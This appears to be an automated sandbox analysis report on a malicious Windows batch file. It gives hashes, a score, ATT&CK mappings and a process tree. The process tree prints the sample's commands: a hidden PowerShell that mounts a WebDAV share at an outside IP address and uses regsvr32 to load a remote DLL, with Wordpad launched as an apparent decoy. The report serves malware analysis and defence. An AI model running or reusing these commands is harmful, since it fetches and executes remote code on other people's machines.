669c3caf7c5ca7c020002fdaa36418938f18ef80184bc717bc86736871564ae5

Analysis

max time kernel
121s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
20-07-2024 02:02

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General

Target

eb0a3a1f843c7897776dab5da1eaeab2f0622d2bf35f97eb6cc75efcd142da57.bat
Size

2KB
MD5

6c441ea7d00ab6ebfe9c4230740efdbe
SHA1

1110410c81796ab9ee8d549e0691360b56429c84
SHA256

eb0a3a1f843c7897776dab5da1eaeab2f0622d2bf35f97eb6cc75efcd142da57
SHA512

57ba65e7b16d70ac1ba8284e33747adac0de3ac871a6f4357eacc52091836759e51943f423a841dd0b2535fe0162eaa726d550afb28eb78b80f4cdbe98467f17

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2784	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2784	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2784	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2692	wordpad.exe
2692	wordpad.exe
2692	wordpad.exe
2692	wordpad.exe
2692	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2644 wrote to memory of 2692	2644	cmd.exe	31
PID 2644 wrote to memory of 2692	2644	cmd.exe	31
PID 2644 wrote to memory of 2692	2644	cmd.exe	31
PID 2644 wrote to memory of 2784	2644	cmd.exe	32
PID 2644 wrote to memory of 2784	2644	cmd.exe	32
PID 2644 wrote to memory of 2784	2644	cmd.exe	32
PID 2784 wrote to memory of 1824	2784	powershell.exe	34
PID 2784 wrote to memory of 1824	2784	powershell.exe	34
PID 2784 wrote to memory of 1824	2784	powershell.exe	34
PID 2784 wrote to memory of 2604	2784	powershell.exe	35
PID 2784 wrote to memory of 2604	2784	powershell.exe	35
PID 2784 wrote to memory of 2604	2784	powershell.exe	35
PID 2784 wrote to memory of 2604	2784	powershell.exe	35
PID 2784 wrote to memory of 2604	2784	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\eb0a3a1f843c7897776dab5da1eaeab2f0622d2bf35f97eb6cc75efcd142da57.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2644
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\238881753218283.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1824
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\238881753218283.dll
    3⤵
    PID:2604

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2784-23-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/2784-24-0x00000000029A0000-0x00000000029A8000-memory.dmp

Filesize
32KB

Download